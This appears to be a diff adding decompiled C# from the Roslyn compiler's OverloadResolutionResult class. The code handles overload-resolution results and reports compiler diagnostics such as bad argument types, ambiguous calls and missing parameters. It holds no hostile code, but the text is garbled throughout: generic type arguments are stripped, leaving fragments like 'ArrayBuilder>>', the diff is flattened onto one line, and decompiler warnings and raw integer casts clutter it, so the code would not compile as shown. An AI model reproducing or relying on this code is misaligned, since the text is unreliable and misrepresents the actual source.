internal OverloadResolutionResult() + { + ResultsBuilder = (ArrayBuilder>)(object)new ArrayBuilder>>(); + } + + internal void Clear() + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + _bestResult = default(MemberResolutionResult); + _bestResultState = (ThreeState)0; + ((ArrayBuilder>>)(object)ResultsBuilder).Clear(); + } + + private void EnsureBestResultLoaded() + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + if (!ThreeStateHelpers.HasValue(_bestResultState)) + { + _bestResultState = TryGetBestResult(ResultsBuilder, out _bestResult); + } + } + + internal unsafe ImmutableArray GetAllApplicableMembers() + { + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + ArrayBuilder instance = ArrayBuilder.GetInstance(); + Enumerator> enumerator = ((ArrayBuilder>>)(object)ResultsBuilder).GetEnumerator(); + while (((Enumerator>>*)(&enumerator))->MoveNext()) + { + MemberResolutionResult current = ((Enumerator>>*)(&enumerator))->Current; + if (current.Result.IsApplicable) + { + instance.Add(current.Member); + } + } + return instance.ToImmutableAndFree(); + } + + private unsafe static ThreeState TryGetBestResult(ArrayBuilder> allResults, out MemberResolutionResult best) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_004a: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Invalid comparison between Unknown and I4 + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + best = default(MemberResolutionResult); + ThreeState val = (ThreeState)1; + Enumerator> enumerator = ((ArrayBuilder>>)(object)allResults).GetEnumerator(); + while (((Enumerator>>*)(&enumerator))->MoveNext()) + { + MemberResolutionResult current = ((Enumerator>>*)(&enumerator))->Current; + if (current.Result.IsValid) + { + if ((int)val == 2) + { + best = default(MemberResolutionResult); + return (ThreeState)1; + } + val = (ThreeState)2; + best = current; + } + } + return val; + } + + internal unsafe void ReportDiagnostics(Binder binder, Location location, SyntaxNode nodeOpt, BindingDiagnosticBag diagnostics, string name, BoundExpression receiver, SyntaxNode invokedExpression, AnalyzedArguments arguments, ImmutableArray memberGroup, NamedTypeSymbol typeContainingConstructor, NamedTypeSymbol delegateTypeBeingInvoked, CSharpSyntaxNode queryClause = null, bool isMethodGroupConversion = false, RefKind? returnRefKind = null, TypeSymbol delegateOrFunctionPointerType = null) where T : Symbol + { + //IL_00ff: Unknown result type (might be due to invalid IL or missing references) + //IL_0104: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray symbols = StaticCast.From(memberGroup); + if (HadAmbiguousBestMethods(diagnostics, symbols, location) || HadAmbiguousWorseMethods(diagnostics, symbols, location, queryClause != null, receiver, name) || HadLambdaConversionError(diagnostics, arguments) || HadStaticInstanceMismatch(diagnostics, symbols, ((invokedExpression != null) ? invokedExpression.GetLocation() : null) ?? location, binder, receiver, nodeOpt, delegateOrFunctionPointerType) || (isMethodGroupConversion && returnRefKind.HasValue && HadReturnMismatch(location, diagnostics, delegateOrFunctionPointerType)) || HadConstraintFailure(location, diagnostics) || HadBadArguments(diagnostics, binder, name, arguments, symbols, location, binder.Flags, isMethodGroupConversion) || HadConstructedParameterFailedConstraintCheck(binder.Conversions, binder.Compilation, diagnostics, location) || InaccessibleTypeArgument(diagnostics, symbols, location) || TypeInferenceFailed(binder, diagnostics, symbols, receiver, arguments, location, queryClause) || UseSiteError()) + { + return; + } + bool flag = false; + MemberResolutionResult memberResolutionResult = default(MemberResolutionResult); + MemberResolutionResult firstUnsupported = default(MemberResolutionResult); + MemberResolutionResult[] array = new MemberResolutionResult[7]; + Enumerator> enumerator = ((ArrayBuilder>>)(object)ResultsBuilder).GetEnumerator(); + while (((Enumerator>>*)(&enumerator))->MoveNext()) + { + MemberResolutionResult current = ((Enumerator>>*)(&enumerator))->Current; + switch (current.Result.Kind) + { + case MemberResolutionKind.UnsupportedMetadata: + if (memberResolutionResult.IsNull) + { + firstUnsupported = current; + } + break; + case MemberResolutionKind.NoCorrespondingNamedParameter: + if (array[3].IsNull || current.Result.FirstBadArgument > array[3].Result.FirstBadArgument) + { + array[3] = current; + } + break; + case MemberResolutionKind.NoCorrespondingParameter: + if (array[4].IsNull) + { + array[4] = current; + } + break; + case MemberResolutionKind.RequiredParameterMissing: + if (array[1].IsNull) + { + array[1] = current; + } + else + { + flag = true; + } + break; + case MemberResolutionKind.NameUsedForPositional: + if (array[2].IsNull || current.Result.FirstBadArgument > array[2].Result.FirstBadArgument) + { + array[2] = current; + } + break; + case MemberResolutionKind.BadNonTrailingNamedArgument: + if (array[5].IsNull || current.Result.FirstBadArgument > array[5].Result.FirstBadArgument) + { + array[5] = current; + } + break; + case MemberResolutionKind.DuplicateNamedArgument: + if (array[0].IsNull || current.Result.FirstBadArgument > array[0].Result.FirstBadArgument) + { + array[0] = current; + } + break; + case MemberResolutionKind.WrongCallingConvention: + if (array[6].IsNull) + { + array[6] = current; + } + break; + default: + throw ExceptionUtilities.UnexpectedValue((object)current.Result.Kind); + } + } + MemberResolutionResult[] array2 = array; + for (int i = 0; i < array2.Length; i++) + { + MemberResolutionResult memberResolutionResult2 = array2[i]; + if (memberResolutionResult2.IsNotNull) + { + memberResolutionResult = memberResolutionResult2; + break; + } + } + if (memberResolutionResult.IsNotNull) + { + if (memberResolutionResult.Member is FunctionPointerMethodSymbol && memberResolutionResult.Result.Kind == MemberResolutionKind.NoCorrespondingNamedParameter) + { + int firstBadArgument = memberResolutionResult.Result.FirstBadArgument; + Location item = arguments.Names[firstBadArgument].GetValueOrDefault().Item2; + diagnostics.Add(ErrorCode.ERR_FunctionPointersCannotBeCalledWithNamedArguments, item); + return; + } + if (!(memberResolutionResult.Result.Kind == MemberResolutionKind.RequiredParameterMissing && flag) && !isMethodGroupConversion && !(memberResolutionResult.Member is FunctionPointerMethodSymbol)) + { + switch (memberResolutionResult.Result.Kind) + { + case MemberResolutionKind.NameUsedForPositional: + ReportNameUsedForPositional(memberResolutionResult, diagnostics, arguments, symbols); + return; + case MemberResolutionKind.NoCorrespondingNamedParameter: + ReportNoCorrespondingNamedParameter(memberResolutionResult, name, diagnostics, arguments, delegateTypeBeingInvoked, symbols); + return; + case MemberResolutionKind.RequiredParameterMissing: + ReportMissingRequiredParameter(memberResolutionResult, diagnostics, delegateTypeBeingInvoked, symbols, location); + return; + case MemberResolutionKind.BadNonTrailingNamedArgument: + ReportBadNonTrailingNamedArgument(memberResolutionResult, diagnostics, arguments, symbols); + return; + case MemberResolutionKind.DuplicateNamedArgument: + ReportDuplicateNamedArgument(memberResolutionResult, diagnostics, arguments); + return; + } + } + else if (memberResolutionResult.Result.Kind == MemberResolutionKind.WrongCallingConvention) + { + ReportWrongCallingConvention(location, diagnostics, symbols, memberResolutionResult, ((FunctionPointerTypeSymbol)delegateOrFunctionPointerType).Signature); + return; + } + } + else if (firstUnsupported.IsNotNull) + { + ReportUnsupportedMetadata(location, diagnostics, symbols, firstUnsupported); + return; + } + if (!isMethodGroupConversion) + { + ReportBadParameterCount(diagnostics, name, arguments, symbols, location, typeContainingConstructor, delegateTypeBeingInvoked); + } + } + + private static void ReportUnsupportedMetadata(Location location, BindingDiagnosticBag diagnostics, ImmutableArray symbols, MemberResolutionResult firstUnsupported) + { + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + DiagnosticInfo diagnosticInfo = firstUnsupported.Member.GetUseSiteInfo().DiagnosticInfo; + diagnosticInfo = (DiagnosticInfo)(object)new DiagnosticInfoWithSymbols((ErrorCode)diagnosticInfo.Code, diagnosticInfo.Arguments, symbols); + Symbol.ReportUseSiteDiagnostic(diagnosticInfo, diagnostics, location); + } + + private static void ReportWrongCallingConvention(Location location, BindingDiagnosticBag diagnostics, ImmutableArray symbols, MemberResolutionResult firstSupported, MethodSymbol target) + { + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + diagnostics.Add((DiagnosticInfo?)(object)new DiagnosticInfoWithSymbols(ErrorCode.ERR_WrongFuncPtrCallingConvention, new object[2] { firstSupported.Member, target.CallingConvention }, symbols), location); + } + + private bool UseSiteError() + { + if (GetFirstMemberKind(MemberResolutionKind.UseSiteError).IsNull) + { + return false; + } + return true; + } + + private bool InaccessibleTypeArgument(BindingDiagnosticBag diagnostics, ImmutableArray symbols, Location location) + { + MemberResolutionResult firstMemberKind = GetFirstMemberKind(MemberResolutionKind.InaccessibleTypeArgument); + if (firstMemberKind.IsNull) + { + return false; + } + diagnostics.Add((DiagnosticInfo?)(object)new DiagnosticInfoWithSymbols(ErrorCode.ERR_BadAccess, new object[1] { firstMemberKind.Member }, symbols), location); + return true; + } + + private bool HadStaticInstanceMismatch(BindingDiagnosticBag diagnostics, ImmutableArray symbols, Location location, Binder binder, BoundExpression receiverOpt, SyntaxNode nodeOpt, TypeSymbol delegateOrFunctionPointerType) + { + MemberResolutionResult firstMemberKind = GetFirstMemberKind(MemberResolutionKind.StaticInstanceMismatch); + if (firstMemberKind.IsNull) + { + return false; + } + if (receiverOpt == null || !receiverOpt.HasErrors) + { + Symbol member = firstMemberKind.Member; + if (receiverOpt != null && receiverOpt.Kind == BoundKind.QueryClause) + { + diagnostics.Add(ErrorCode.ERR_QueryNoProvider, location, receiverOpt.Type, member.Name); + } + else if (binder.Flags.Includes(BinderFlags.CollectionInitializerAddMethod)) + { + diagnostics.Add(ErrorCode.ERR_InitializerAddHasWrongSignature, location, member); + } + else if (nodeOpt != null && nodeOpt.Kind() == SyntaxKind.AwaitExpression && member.Name == "GetAwaiter") + { + diagnostics.Add(ErrorCode.ERR_BadAwaitArg, location, receiverOpt.Type); + } + else if (delegateOrFunctionPointerType is FunctionPointerTypeSymbol) + { + diagnostics.Add(ErrorCode.ERR_FuncPtrMethMustBeStatic, location, member); + } + else + { + ErrorCode errorCode = ((!member.RequiresInstanceReceiver()) ? ErrorCode.ERR_ObjectProhibited : ((Binder.WasImplicitReceiver(receiverOpt) && binder.InFieldInitializer && !binder.BindingTopLevelScriptCode) ? ErrorCode.ERR_FieldInitRefNonstatic : ErrorCode.ERR_ObjectRequired)); + diagnostics.Add((DiagnosticInfo?)(object)new DiagnosticInfoWithSymbols(errorCode, new object[1] { member }, symbols), location); + } + } + return true; + } + + private bool HadReturnMismatch(Location location, BindingDiagnosticBag diagnostics, TypeSymbol delegateOrFunctionPointerType) + { + MemberResolutionResult firstMemberKind = GetFirstMemberKind(MemberResolutionKind.WrongRefKind); + if (!firstMemberKind.IsNull) + { + diagnostics.Add(delegateOrFunctionPointerType.IsFunctionPointer() ? ErrorCode.ERR_FuncPtrRefMismatch : ErrorCode.ERR_DelegateRefMismatch, location, firstMemberKind.Member, delegateOrFunctionPointerType); + return true; + } + firstMemberKind = GetFirstMemberKind(MemberResolutionKind.WrongReturnType); + if (!firstMemberKind.IsNull) + { + MethodSymbol methodSymbol = (MethodSymbol)(object)firstMemberKind.Member; + diagnostics.Add(ErrorCode.ERR_BadRetType, location, methodSymbol, methodSymbol.ReturnType); + return true; + } + return false; + } + + private bool HadConstraintFailure(Location location, BindingDiagnosticBag diagnostics) + { + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + MemberResolutionResult firstMemberKind = GetFirstMemberKind(MemberResolutionKind.ConstraintFailure); + if (firstMemberKind.IsNull) + { + return false; + } + ImmutableArray.Enumerator enumerator = firstMemberKind.Result.ConstraintFailureDiagnostics.GetEnumerator(); + while (enumerator.MoveNext()) + { + TypeParameterDiagnosticInfo current = enumerator.Current; + if (current.UseSiteInfo.DiagnosticInfo != null) + { + ((BindingDiagnosticBag)diagnostics).Add((Diagnostic)(object)new CSDiagnostic(current.UseSiteInfo.DiagnosticInfo, location)); + } + } + return true; + } + + private bool TypeInferenceFailed(Binder binder, BindingDiagnosticBag diagnostics, ImmutableArray symbols, BoundExpression receiver, AnalyzedArguments arguments, Location location, CSharpSyntaxNode queryClause = null) + { + MemberResolutionResult firstMemberKind = GetFirstMemberKind(MemberResolutionKind.TypeInferenceFailed); + if (firstMemberKind.IsNotNull) + { + if (queryClause != null) + { + Binder.ReportQueryInferenceFailed(queryClause, firstMemberKind.Member.Name, receiver, arguments, symbols, diagnostics); + } + else + { + diagnostics.Add((DiagnosticInfo?)(object)new DiagnosticInfoWithSymbols(ErrorCode.ERR_CantInferMethTypeArgs, new object[1] { firstMemberKind.Member }, symbols), location); + } + return true; + } + firstMemberKind = GetFirstMemberKind(MemberResolutionKind.TypeInferenceExtensionInstanceArgument); + if (firstMemberKind.IsNotNull) + { + BoundExpression boundExpression = arguments.Arguments[0]; + if (queryClause != null) + { + binder.ReportQueryLookupFailed((SyntaxNode)(object)queryClause, boundExpression, firstMemberKind.Member.Name, symbols, diagnostics); + } + else + { + diagnostics.Add((DiagnosticInfo?)(object)new DiagnosticInfoWithSymbols(ErrorCode.ERR_NoSuchMemberOrExtension, new object[2] + { + boundExpression.Type, + firstMemberKind.Member.Name + }, symbols), location); + } + return true; + } + return false; + } + + private static void ReportNameUsedForPositional(MemberResolutionResult bad, BindingDiagnosticBag diagnostics, AnalyzedArguments arguments, ImmutableArray symbols) + { + int firstBadArgument = bad.Result.FirstBadArgument; + var (text, location) = arguments.Names[firstBadArgument].GetValueOrDefault(); + diagnostics.Add((DiagnosticInfo?)(object)new DiagnosticInfoWithSymbols(ErrorCode.ERR_NamedArgumentUsedInPositional, new object[1] { text }, symbols), location); + } + + private static void ReportBadNonTrailingNamedArgument(MemberResolutionResult bad, BindingDiagnosticBag diagnostics, AnalyzedArguments arguments, ImmutableArray symbols) + { + int firstBadArgument = bad.Result.FirstBadArgument; + var (text, location) = arguments.Names[firstBadArgument].GetValueOrDefault(); + diagnostics.Add((DiagnosticInfo?)(object)new DiagnosticInfoWithSymbols(ErrorCode.ERR_BadNonTrailingNamedArgument, new object[1] { text }, symbols), location); + } + + private static void ReportDuplicateNamedArgument(MemberResolutionResult result, BindingDiagnosticBag diagnostics, AnalyzedArguments arguments) + { + var (text, location) = arguments.Names[result.Result.FirstBadArgument].GetValueOrDefault(); + diagnostics.Add((DiagnosticInfo?)(object)new CSDiagnosticInfo(ErrorCode.ERR_DuplicateNamedArgument, text), location); + } + + private static void ReportNoCorrespondingNamedParameter(MemberResolutionResult bad, string methodName, BindingDiagnosticBag diagnostics, AnalyzedArguments arguments, NamedTypeSymbol delegateTypeBeingInvoked, ImmutableArray symbols) + { + int firstBadArgument = bad.Result.FirstBadArgument; + (string, Location) valueOrDefault = arguments.Names[firstBadArgument].GetValueOrDefault(); + string item = valueOrDefault.Item1; + Location item2 = valueOrDefault.Item2; + ErrorCode errorCode = (((object)delegateTypeBeingInvoked != null) ? ErrorCode.ERR_BadNamedArgumentForDelegateInvoke : ErrorCode.ERR_BadNamedArgument); + object obj = ((object)delegateTypeBeingInvoked) ?? ((object)methodName); + diagnostics.Add((DiagnosticInfo?)(object)new DiagnosticInfoWithSymbols(errorCode, new object[2] { obj, item }, symbols), item2); + } + + private static void ReportMissingRequiredParameter(MemberResolutionResult bad, BindingDiagnosticBag diagnostics, NamedTypeSymbol delegateTypeBeingInvoked, ImmutableArray symbols, Location location) + { + TMember member = bad.Member; + ImmutableArray parameters = member.GetParameters(); + int badParameter = bad.Result.BadParameter; + string text = ((badParameter != parameters.Length) ? parameters[badParameter].Name : SyntaxFacts.GetText(SyntaxKind.ArgListKeyword)); + object obj = ((object)delegateTypeBeingInvoked) ?? ((object)member); + diagnostics.Add((DiagnosticInfo?)(object)new DiagnosticInfoWithSymbols(ErrorCode.ERR_NoCorrespondingArgument, new object[2] { text, obj }, symbols), location); + } + + private static void ReportBadParameterCount(BindingDiagnosticBag diagnostics, string name, AnalyzedArguments arguments, ImmutableArray symbols, Location location, NamedTypeSymbol typeContainingConstructor, NamedTypeSymbol delegateTypeBeingInvoked) + { + FunctionPointerMethodSymbol functionPointerMethodSymbol = ((symbols.IsDefault || symbols.Length != 1) ? null : (symbols[0] as FunctionPointerMethodSymbol)); + (ErrorCode, object) tuple; + if ((object)typeContainingConstructor == null) + { + if ((object)delegateTypeBeingInvoked == null) + { + object obj = functionPointerMethodSymbol; + tuple = ((obj == null) ? (ErrorCode.ERR_BadArgCount, name) : (ErrorCode.ERR_BadFuncPointerArgCount, obj)); + } + else + { + tuple = (ErrorCode.ERR_BadDelArgCount, delegateTypeBeingInvoked); + } + } + else + { + tuple = (ErrorCode.ERR_BadCtorArgCount, typeContainingConstructor); + } + (ErrorCode, object) tuple2 = tuple; + ErrorCode item = tuple2.Item1; + object item2 = tuple2.Item2; + int num = arguments.Arguments.Count; + if (arguments.IsExtensionMethodInvocation) + { + num--; + } + diagnostics.Add((DiagnosticInfo?)(object)new DiagnosticInfoWithSymbols(item, new object[2] { item2, num }, symbols), location); + } + + private bool HadConstructedParameterFailedConstraintCheck(ConversionsBase conversions, CSharpCompilation compilation, BindingDiagnosticBag diagnostics, Location location) + { + MemberResolutionResult firstMemberKind = GetFirstMemberKind(MemberResolutionKind.ConstructedParameterFailedConstraintCheck); + if (firstMemberKind.IsNull) + { + return false; + } + MethodSymbol methodSymbol = (MethodSymbol)(object)firstMemberKind.Member; + if (!methodSymbol.CheckConstraints(new ConstraintsHelper.CheckConstraintsArgs(compilation, conversions, includeNullability: false, location, diagnostics))) + { + return true; + } + TypeSymbol parameterType = methodSymbol.GetParameterType(firstMemberKind.Result.BadParameter); + ConstraintsHelper.CheckConstraintsArgsBoxed checkConstraintsArgsBoxed = ConstraintsHelper.CheckConstraintsArgsBoxed.Allocate(compilation, conversions, includeNullability: false, location, diagnostics); + parameterType.CheckAllConstraints(checkConstraintsArgsBoxed); + checkConstraintsArgsBoxed.Free(); + return true; + } + + private static bool HadLambdaConversionError(BindingDiagnosticBag diagnostics, AnalyzedArguments arguments) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + bool flag = false; + Enumerator enumerator = arguments.Arguments.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundExpression current = enumerator.Current; + if (current.Kind == BoundKind.UnboundLambda) + { + flag |= ((UnboundLambda)current).GenerateSummaryErrors(diagnostics); + } + } + return flag; + } + + private bool HadBadArguments(BindingDiagnosticBag diagnostics, Binder binder, string name, AnalyzedArguments arguments, ImmutableArray symbols, Location location, BinderFlags flags, bool isMethodGroupConversion) + { + //IL_00a1: Unknown result type (might be due to invalid IL or missing references) + //IL_00a6: Unknown result type (might be due to invalid IL or missing references) + //IL_004a: Unknown result type (might be due to invalid IL or missing references) + MemberResolutionResult firstMemberKind = GetFirstMemberKind(MemberResolutionKind.BadArgumentConversion); + if (firstMemberKind.IsNull) + { + return false; + } + if (isMethodGroupConversion) + { + return true; + } + TMember member = firstMemberKind.Member; + if (flags.Includes(BinderFlags.CollectionInitializerAddMethod)) + { + ImmutableArray.Enumerator enumerator = member.GetParameters().GetEnumerator(); + while (enumerator.MoveNext()) + { + if ((int)enumerator.Current.RefKind != 0) + { + diagnostics.Add(ErrorCode.ERR_InitializerAddHasParamModifiers, location, symbols, member); + return true; + } + } + diagnostics.Add(ErrorCode.ERR_BadArgTypesForCollectionAdd, location, symbols, member); + } + BitVector badArgumentsOpt = firstMemberKind.Result.BadArgumentsOpt; + foreach (int item in ((BitVector)(ref badArgumentsOpt)).TrueBits()) + { + ReportBadArgumentError(diagnostics, binder, name, arguments, symbols, firstMemberKind, member, item); + } + return true; + } + + private static void ReportBadArgumentError(BindingDiagnosticBag diagnostics, Binder binder, string name, AnalyzedArguments arguments, ImmutableArray symbols, MemberResolutionResult badArg, TMember method, int arg) + { + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Expected O, but got Unknown + //IL_00ae: Unknown result type (might be due to invalid IL or missing references) + //IL_00b3: Unknown result type (might be due to invalid IL or missing references) + //IL_00b6: Unknown result type (might be due to invalid IL or missing references) + //IL_00bb: Unknown result type (might be due to invalid IL or missing references) + //IL_00c7: Unknown result type (might be due to invalid IL or missing references) + //IL_00ca: Invalid comparison between Unknown and I4 + //IL_0205: Unknown result type (might be due to invalid IL or missing references) + //IL_0207: Unknown result type (might be due to invalid IL or missing references) + //IL_00d1: Unknown result type (might be due to invalid IL or missing references) + //IL_00d3: Unknown result type (might be due to invalid IL or missing references) + //IL_00cc: Unknown result type (might be due to invalid IL or missing references) + //IL_00cf: Invalid comparison between Unknown and I4 + //IL_020b: Unknown result type (might be due to invalid IL or missing references) + //IL_0214: Unknown result type (might be due to invalid IL or missing references) + //IL_0217: Invalid comparison between Unknown and I4 + //IL_020f: Unknown result type (might be due to invalid IL or missing references) + //IL_0212: Invalid comparison between Unknown and I4 + //IL_023d: Unknown result type (might be due to invalid IL or missing references) + //IL_0240: Invalid comparison between Unknown and I4 + //IL_0219: Unknown result type (might be due to invalid IL or missing references) + //IL_021c: Invalid comparison between Unknown and I4 + //IL_0248: Unknown result type (might be due to invalid IL or missing references) + //IL_024b: Invalid comparison between Unknown and I4 + //IL_0392: Unknown result type (might be due to invalid IL or missing references) + //IL_0398: Expected O, but got Unknown + //IL_0288: Unknown result type (might be due to invalid IL or missing references) + //IL_028b: Invalid comparison between Unknown and I4 + //IL_0275: Unknown result type (might be due to invalid IL or missing references) + //IL_0278: Invalid comparison between Unknown and I4 + //IL_024d: Unknown result type (might be due to invalid IL or missing references) + //IL_0250: Invalid comparison between Unknown and I4 + //IL_046b: Unknown result type (might be due to invalid IL or missing references) + //IL_0471: Expected O, but got Unknown + //IL_02eb: Unknown result type (might be due to invalid IL or missing references) + //IL_028d: Unknown result type (might be due to invalid IL or missing references) + //IL_0290: Invalid comparison between Unknown and I4 + //IL_013c: Unknown result type (might be due to invalid IL or missing references) + //IL_013e: Unknown result type (might be due to invalid IL or missing references) + //IL_03e2: Unknown result type (might be due to invalid IL or missing references) + //IL_02ef: Unknown result type (might be due to invalid IL or missing references) + //IL_02f2: Unknown result type (might be due to invalid IL or missing references) + //IL_02f4: Invalid comparison between Unknown and I4 + //IL_0160: Unknown result type (might be due to invalid IL or missing references) + //IL_0166: Invalid comparison between Unknown and I4 + //IL_018b: Unknown result type (might be due to invalid IL or missing references) + //IL_0192: Invalid comparison between Unknown and I4 + //IL_034b: Unknown result type (might be due to invalid IL or missing references) + //IL_031f: Unknown result type (might be due to invalid IL or missing references) + //IL_01f8: Unknown result type (might be due to invalid IL or missing references) + //IL_01fe: Expected O, but got Unknown + BoundExpression boundExpression = arguments.Argument(arg); + if (boundExpression.HasAnyErrors) + { + return; + } + int num = badArg.Result.ParameterFromArgument(arg); + SourceLocation location = new SourceLocation(boundExpression.Syntax); + if (method.GetIsVararg() && num == method.GetParameterCount()) + { + diagnostics.Add(ErrorCode.ERR_BadArgType, (Location)(object)location, symbols, arg + 1, boundExpression.Display, "__arglist"); + return; + } + ParameterSymbol parameterSymbol = method.GetParameters()[num]; + bool isLastParameter = method.GetParameterCount() == num + 1; + RefKind val = arguments.RefKind(arg); + RefKind refKind = parameterSymbol.RefKind; + if (arguments.IsExtensionMethodThisArgument(arg) && ((int)refKind == 1 || (int)refKind == 3)) + { + val = refKind; + } + if (!boundExpression.HasExpressionType() && boundExpression.Kind != BoundKind.OutDeconstructVarPendingInference && boundExpression.Kind != BoundKind.OutVariablePendingInference && boundExpression.Kind != BoundKind.DiscardExpression) + { + TypeSymbol typeSymbol = ((UnwrapIfParamsArray(parameterSymbol, isLastParameter) is TypeSymbol typeSymbol2) ? typeSymbol2 : parameterSymbol.Type); + if (boundExpression.Kind == BoundKind.UnboundLambda && val == refKind) + { + ((UnboundLambda)boundExpression).GenerateAnonymousFunctionConversionError(diagnostics, typeSymbol); + } + else if (boundExpression.Kind != BoundKind.MethodGroup || (int)typeSymbol.TypeKind != 3 || !Conversions.ReportDelegateOrFunctionPointerMethodGroupDiagnostics(binder, (BoundMethodGroup)boundExpression, typeSymbol, diagnostics)) + { + if (boundExpression.Kind == BoundKind.MethodGroup && (int)typeSymbol.TypeKind == 13) + { + diagnostics.Add(ErrorCode.ERR_MissingAddressOf, (Location)(object)location); + } + else if (boundExpression.Kind != BoundKind.UnconvertedAddressOfOperator || !Conversions.ReportDelegateOrFunctionPointerMethodGroupDiagnostics(binder, ((BoundUnconvertedAddressOfOperator)boundExpression).Operand, typeSymbol, diagnostics)) + { + diagnostics.Add(ErrorCode.ERR_BadArgType, (Location)(object)location, symbols, arg + 1, boundExpression.Display, (object)new FormattedSymbol((ISymbolInternal)(object)UnwrapIfParamsArray(parameterSymbol, isLastParameter), SymbolDisplayFormat.CSharpErrorMessageNoParameterNamesFormat)); + } + } + return; + } + bool flag = val != refKind && ((int)val != 0 || (int)refKind != 3) && ((int)val != 1 || (int)refKind != 3 || !binder.Compilation.IsFeatureEnabled(MessageID.IDS_FeatureRefReadonlyParameters)); + if (flag) + { + bool flag2 = (int)refKind == 4; + if (flag2) + { + bool flag3 = (((int)val <= 1 || (int)val == 3) ? true : false); + flag2 = flag3; + } + flag = !flag2; + } + if (flag) + { + if (isStringLiteralToInterpolatedStringHandlerArgumentConversion(boundExpression, parameterSymbol) && (int)refKind != 2) + { + diagnostics.Add(ErrorCode.ERR_ExpectedInterpolatedString, (Location)(object)location); + } + else if ((int)val == 1 && (int)refKind == 3 && !binder.Compilation.IsFeatureEnabled(MessageID.IDS_FeatureRefReadonlyParameters)) + { + diagnostics.Add(ErrorCode.ERR_BadArgExtraRefLangVersion, (Location)(object)location, symbols, arg + 1, binder.Compilation.LanguageVersion.ToDisplayString(), new CSharpRequiredLanguageVersion(MessageID.IDS_FeatureRefReadonlyParameters.RequiredVersion())); + } + else if (((int)refKind == 0 || refKind - 3 <= 1) ? true : false) + { + diagnostics.Add(ErrorCode.ERR_BadArgExtraRef, (Location)(object)location, symbols, arg + 1, RefKindExtensions.ToArgumentDisplayString(val)); + } + else + { + diagnostics.Add(ErrorCode.ERR_BadArgRef, (Location)(object)location, symbols, arg + 1, RefKindExtensions.ToParameterDisplayString(refKind)); + } + } + else if (arguments.IsExtensionMethodThisArgument(arg)) + { + diagnostics.Add(ErrorCode.ERR_BadInstanceArgType, (Location)(object)location, symbols, boundExpression.Display, name, method, (object)new FormattedSymbol((ISymbolInternal)(object)parameterSymbol, SymbolDisplayFormat.CSharpErrorMessageNoParameterNamesFormat)); + } + else if (boundExpression.Display is TypeSymbol typeSymbol3) + { + if (isStringLiteralToInterpolatedStringHandlerArgumentConversion(boundExpression, parameterSymbol)) + { + diagnostics.Add(ErrorCode.ERR_ExpectedInterpolatedString, (Location)(object)location); + return; + } + SignatureOnlyParameterSymbol symbol = new SignatureOnlyParameterSymbol(TypeWithAnnotations.Create(typeSymbol3), ImmutableArray.Empty, isParams: false, val); + SymbolDistinguisher symbolDistinguisher = new SymbolDistinguisher(binder.Compilation, symbol, UnwrapIfParamsArray(parameterSymbol, isLastParameter)); + diagnostics.Add(ErrorCode.ERR_BadArgType, (Location)(object)location, symbols, arg + 1, symbolDistinguisher.First, symbolDistinguisher.Second); + } + else + { + diagnostics.Add(ErrorCode.ERR_BadArgType, (Location)(object)location, symbols, arg + 1, boundExpression.Display, (object)new FormattedSymbol((ISymbolInternal)(object)UnwrapIfParamsArray(parameterSymbol, isLastParameter), SymbolDisplayFormat.CSharpErrorMessageNoParameterNamesFormat)); + } + static bool isStringLiteralToInterpolatedStringHandlerArgumentConversion(BoundExpression argument, ParameterSymbol parameter) + { + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Invalid comparison between Unknown and I4 + if (argument is BoundLiteral) + { + TypeSymbol type = argument.Type; + if ((object)type != null && (int)type.SpecialType == 20) + { + if (parameter.Type is NamedTypeSymbol namedTypeSymbol) + { + return namedTypeSymbol.IsInterpolatedStringHandlerType; + } + return false; + } + } + return false; + } + } + + private static Symbol UnwrapIfParamsArray(ParameterSymbol parameter, bool isLastParameter) + { + if (parameter.IsParams && isLastParameter && parameter.Type is ArrayTypeSymbol { IsSZArray: not false } arrayTypeSymbol) + { + return arrayTypeSymbol.ElementType; + } + return parameter; + } + + private bool HadAmbiguousWorseMethods(BindingDiagnosticBag diagnostics, ImmutableArray symbols, Location location, bool isQuery, BoundExpression receiver, string name) + { + if (TryGetFirstTwoWorseResults(out var first, out var second) <= 1) + { + return false; + } + if (isQuery) + { + diagnostics.Add(ErrorCode.ERR_QueryMultipleProviders, location, receiver.Type, name); + } + else + { + diagnostics.Add((DiagnosticInfo?)(object)CreateAmbiguousCallDiagnosticInfo(first.LeastOverriddenMember.OriginalDefinition, second.LeastOverriddenMember.OriginalDefinition, symbols), location); + } + return true; + } + + private unsafe int TryGetFirstTwoWorseResults(out MemberResolutionResult first, out MemberResolutionResult second) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + int num = 0; + bool flag = false; + bool flag2 = false; + first = default(MemberResolutionResult); + second = default(MemberResolutionResult); + Enumerator> enumerator = ((ArrayBuilder>>)(object)ResultsBuilder).GetEnumerator(); + while (((Enumerator>>*)(&enumerator))->MoveNext()) + { + MemberResolutionResult current = ((Enumerator>>*)(&enumerator))->Current; + if (current.Result.Kind == MemberResolutionKind.Worse) + { + num++; + if (!flag) + { + first = current; + flag = true; + } + else if (!flag2) + { + second = current; + flag2 = true; + } + } + } + return num; + } + + private bool HadAmbiguousBestMethods(BindingDiagnosticBag diagnostics, ImmutableArray symbols, Location location) + { + if (TryGetFirstTwoValidResults(out var first, out var second) <= 1) + { + return false; + } + 